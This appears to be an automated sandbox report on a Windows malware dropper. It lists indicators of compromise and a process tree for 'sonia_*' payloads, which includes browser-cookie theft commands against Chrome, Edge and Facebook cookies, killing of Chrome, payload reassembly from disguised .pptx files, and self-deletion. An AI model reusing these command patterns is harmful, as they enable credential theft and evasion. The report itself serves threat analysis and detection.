WerFault.exesonia_2.exerundll32.exesvchost.exeWerFault.exepid process 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 2120 sonia_2.exe 2120 sonia_2.exe 4132 rundll32.exe 4132 rundll32.exe 2576 svchost.exe 2576 svchost.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 4780 WerFault.exe 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3016 -
Suspicious behavior: MapViewOfSection 64 IoCs
Processes:
sonia_2.exeUcRaSxz0CsWqz0I1U5SuBHIg.exe11111.exeexplorer.exeexplorer.exeexplorer.exeMicrosoftEdgeCP.exedeebcbwMicrosoftEdgeCP.exepid process 2120 sonia_2.exe 4808 UcRaSxz0CsWqz0I1U5SuBHIg.exe 2496 11111.exe 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 3016 4392 explorer.exe 4392 explorer.exe 3008 explorer.exe 3008 explorer.exe 5228 explorer.exe 5228 explorer.exe 4392 explorer.exe 4392 explorer.exe 3008 explorer.exe 3008 explorer.exe 5228 explorer.exe 5228 explorer.exe 2992 MicrosoftEdgeCP.exe 2992 MicrosoftEdgeCP.exe 4392 explorer.exe 4392 explorer.exe 5228 explorer.exe 5228 explorer.exe 3008 explorer.exe 3008 explorer.exe 2808 deebcbw 3008 explorer.exe 3008 explorer.exe 3008 explorer.exe 3008 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 5228 explorer.exe 5228 explorer.exe 5228 explorer.exe 5228 explorer.exe 6760 MicrosoftEdgeCP.exe 6760 MicrosoftEdgeCP.exe 3008 explorer.exe 3008 explorer.exe 4392 explorer.exe 4392 explorer.exe 5228 explorer.exe 5228 explorer.exe 4392 explorer.exe 4392 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
sonia_4.exeWerFault.exerundll32.exesvchost.exeWerFault.exeEmwjKdpODJgiyRb9ctmvoXYi.exeXm6doaihs5VOvW7wKbxwfwIg.exesvchost.exedescription pid process Token: SeDebugPrivilege 1220 sonia_4.exe Token: SeRestorePrivilege 3036 WerFault.exe Token: SeBackupPrivilege 3036 WerFault.exe Token: SeDebugPrivilege 3036 WerFault.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 2576 svchost.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4132 rundll32.exe Token: SeDebugPrivilege 4780 WerFault.exe Token: SeCreateTokenPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeAssignPrimaryTokenPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeLockMemoryPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeIncreaseQuotaPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeMachineAccountPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeTcbPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeSecurityPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeTakeOwnershipPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeLoadDriverPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeSystemProfilePrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeSystemtimePrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeProfSingleProcessPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeIncBasePriorityPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeCreatePagefilePrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeCreatePermanentPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeBackupPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeRestorePrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeShutdownPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeDebugPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeAuditPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeSystemEnvironmentPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeChangeNotifyPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeRemoteShutdownPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeUndockPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeSyncAgentPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeEnableDelegationPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeManageVolumePrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeImpersonatePrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeCreateGlobalPrivilege 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: 31 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: 32 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: 33 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: 34 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: 35 5040 EmwjKdpODJgiyRb9ctmvoXYi.exe Token: SeShutdownPrivilege 3016 Token: SeCreatePagefilePrivilege 3016 Token: SeShutdownPrivilege 3016 Token: SeCreatePagefilePrivilege 3016 Token: SeDebugPrivilege 4988 Xm6doaihs5VOvW7wKbxwfwIg.exe Token: SeDebugPrivilege 2576 svchost.exe Token: SeShutdownPrivilege 3016 Token: SeCreatePagefilePrivilege 3016 Token: SeAuditPrivilege 2408 svchost.exe Token: SeShutdownPrivilege 3016 Token: SeCreatePagefilePrivilege 3016 -
Suspicious use of FindShellTrayWindow 14 IoCs
Processes:
7H8CXZBybsM4G7UvxEKtGhre.tmpGameBoxWin64.exeultramediaburner.tmpinstaller.exepid process 3016 3016 4480 7H8CXZBybsM4G7UvxEKtGhre.tmp 3016 3016 748 GameBoxWin64.exe 3016 3016 1216 ultramediaburner.tmp 6988 installer.exe 3016 3016 3016 3016 -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
80D4.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exepid process 5412 80D4.exe 3016 6000 MicrosoftEdge.exe 2992 MicrosoftEdgeCP.exe 2992 MicrosoftEdgeCP.exe 4920 MicrosoftEdge.exe 6760 MicrosoftEdgeCP.exe 6760 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
8 (22).exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.exesonia_1.exesonia_6.exerUNdlL32.eXerundll32.exesvchost.exedescription pid process target process PID 476 wrote to memory of 2168 476 8 (22).exe setup_installer.exe PID 476 wrote to memory of 2168 476 8 (22).exe setup_installer.exe PID 476 wrote to memory of 2168 476 8 (22).exe setup_installer.exe PID 2168 wrote to memory of 2916 2168 setup_installer.exe setup_install.exe PID 2168 wrote to memory of 2916 2168 setup_installer.exe setup_install.exe PID 2168 wrote to memory of 2916 2168 setup_installer.exe setup_install.exe PID 2916 wrote to memory of 1508 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1508 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1508 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1316 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1316 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1316 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1972 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1972 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 1972 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3744 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3744 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3744 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 4012 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 4012 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 4012 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3120 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3120 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3120 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3772 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3772 2916 setup_install.exe cmd.exe PID 2916 wrote to memory of 3772 2916 setup_install.exe cmd.exe PID 1508 wrote to memory of 748 1508 cmd.exe sonia_1.exe PID 1508 wrote to memory of 748 1508 cmd.exe sonia_1.exe PID 1508 wrote to memory of 748 1508 cmd.exe sonia_1.exe PID 1316 wrote to memory of 2120 1316 cmd.exe sonia_2.exe PID 1316 wrote to memory of 2120 1316 cmd.exe sonia_2.exe PID 1316 wrote to memory of 2120 1316 cmd.exe sonia_2.exe PID 1972 wrote to memory of 2116 1972 cmd.exe sonia_3.exe PID 1972 wrote to memory of 2116 1972 cmd.exe sonia_3.exe PID 1972 wrote to memory of 2116 1972 cmd.exe sonia_3.exe PID 3744 wrote to memory of 1220 3744 cmd.exe sonia_4.exe PID 3744 wrote to memory of 1220 3744 cmd.exe sonia_4.exe PID 3120 wrote to memory of 3924 3120 cmd.exe sonia_6.exe PID 3120 wrote to memory of 3924 3120 cmd.exe sonia_6.exe PID 3120 wrote to memory of 3924 3120 cmd.exe sonia_6.exe PID 4012 wrote to memory of 2288 4012 cmd.exe sonia_5.exe PID 4012 wrote to memory of 2288 4012 cmd.exe sonia_5.exe PID 4012 wrote to memory of 2288 4012 cmd.exe sonia_5.exe PID 748 wrote to memory of 3856 748 sonia_1.exe IprBwC3NfjasNXgUjJGkEVCg.exe PID 748 wrote to memory of 3856 748 sonia_1.exe IprBwC3NfjasNXgUjJGkEVCg.exe PID 748 wrote to memory of 3856 748 sonia_1.exe IprBwC3NfjasNXgUjJGkEVCg.exe PID 3924 wrote to memory of 2804 3924 sonia_6.exe jfiag3g_gg.exe PID 3924 wrote to memory of 2804 3924 sonia_6.exe jfiag3g_gg.exe PID 3924 wrote to memory of 2804 3924 sonia_6.exe jfiag3g_gg.exe PID 4108 wrote to memory of 4132 4108 rUNdlL32.eXe rundll32.exe PID 4108 wrote to memory of 4132 4108 rUNdlL32.eXe rundll32.exe PID 4108 wrote to memory of 4132 4108 rUNdlL32.eXe rundll32.exe PID 4132 wrote to memory of 2576 4132 rundll32.exe svchost.exe PID 4132 wrote to memory of 2740 4132 rundll32.exe svchost.exe PID 2576 wrote to memory of 4220 2576 svchost.exe svchost.exe PID 2576 wrote to memory of 4220 2576 svchost.exe svchost.exe PID 2576 wrote to memory of 4220 2576 svchost.exe svchost.exe PID 4132 wrote to memory of 992 4132 rundll32.exe svchost.exe PID 4132 wrote to memory of 2436 4132 rundll32.exe svchost.exe PID 4132 wrote to memory of 2408 4132 rundll32.exe svchost.exe PID 4132 wrote to memory of 1072 4132 rundll32.exe svchost.exe PID 4132 wrote to memory of 860 4132 rundll32.exe svchost.exe PID 4132 wrote to memory of 1392 4132 rundll32.exe svchost.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\deebcbwC:\Users\Admin\AppData\Roaming\deebcbw2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\deebcbwC:\Users\Admin\AppData\Roaming\deebcbw2⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\cgebcbwC:\Users\Admin\AppData\Roaming\cgebcbw2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\cgebcbwC:\Users\Admin\AppData\Roaming\cgebcbw3⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\deebcbwC:\Users\Admin\AppData\Roaming\deebcbw2⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\cgebcbwC:\Users\Admin\AppData\Roaming\cgebcbw2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\cgebcbwC:\Users\Admin\AppData\Roaming\cgebcbw3⤵
- Checks SCSI registry key(s)
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\8 (22).exe"C:\Users\Admin\AppData\Local\Temp\8 (22).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_1.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_1.exesonia_1.exe5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_1.exe"C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_1.exe" -a6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_2.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_2.exesonia_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_3.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_3.exesonia_3.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2116 -s 9286⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_4.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_4.exesonia_4.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_5.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_5.exesonia_5.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Documents\ZHtePOfS_Ww0iKZouxbIehMv.exe"C:\Users\Admin\Documents\ZHtePOfS_Ww0iKZouxbIehMv.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Continua.pptx7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^hrVmJwToKxUzJbufzBCieeoCYvJHZAdLamrEFkwMUIyxRybgpVUzcLJlUzAjsjoltowlzBJiAQhzXOKSZcbrGWfHQSKjKOxHAVdJthUHjMSFbfhyIHhWOtDiSxxBRbbMcF$" Palpito.pptx9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comDir.exe.com p9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p10⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p11⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe12⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 309⤵
- Runs ping.exe
-
C:\Users\Admin\Documents\EmwjKdpODJgiyRb9ctmvoXYi.exe"C:\Users\Admin\Documents\EmwjKdpODJgiyRb9ctmvoXYi.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\LVI197Bb0E_VhRRhHFxlh79S.exe"C:\Users\Admin\Documents\LVI197Bb0E_VhRRhHFxlh79S.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\LVI197Bb0E_VhRRhHFxlh79S.exeC:\Users\Admin\Documents\LVI197Bb0E_VhRRhHFxlh79S.exe7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Xm6doaihs5VOvW7wKbxwfwIg.exe"C:\Users\Admin\Documents\Xm6doaihs5VOvW7wKbxwfwIg.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\Q9Xxjro0jH0zlr6RfKi9LgBE.exe"C:\Users\Admin\Documents\Q9Xxjro0jH0zlr6RfKi9LgBE.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 8367⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 11167⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 11087⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Documents\5UTuIf0rdfCrMJ8vtnOyzHfI.exe"C:\Users\Admin\Documents\5UTuIf0rdfCrMJ8vtnOyzHfI.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Users\Admin\Documents\IprBwC3NfjasNXgUjJGkEVCg.exe"C:\Users\Admin\Documents\IprBwC3NfjasNXgUjJGkEVCg.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 6847⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 10807⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Documents\09rYofYZqDSRq9ZAjItpZdG_.exe"C:\Users\Admin\Documents\09rYofYZqDSRq9ZAjItpZdG_.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Users\Admin\Documents\UcRaSxz0CsWqz0I1U5SuBHIg.exe"C:\Users\Admin\Documents\UcRaSxz0CsWqz0I1U5SuBHIg.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\UcRaSxz0CsWqz0I1U5SuBHIg.exe"C:\Users\Admin\Documents\UcRaSxz0CsWqz0I1U5SuBHIg.exe"7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\Xww17S4wUSUHXurzJsrX0xDG.exe"C:\Users\Admin\Documents\Xww17S4wUSUHXurzJsrX0xDG.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Xww17S4wUSUHXurzJsrX0xDG.exe" /f & erase "C:\Users\Admin\Documents\Xww17S4wUSUHXurzJsrX0xDG.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Xww17S4wUSUHXurzJsrX0xDG.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\G0uX0xj1WDjQnxRPxonfgkGj.exe"C:\Users\Admin\Documents\G0uX0xj1WDjQnxRPxonfgkGj.exe"6⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"7⤵
- Executes dropped EXE
- Drops startup file
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"8⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"8⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\4gaqjB5f8pyUb1xMYoRW5tyv.exe"C:\Users\Admin\Documents\4gaqjB5f8pyUb1xMYoRW5tyv.exe"6⤵
- Executes dropped EXE
-
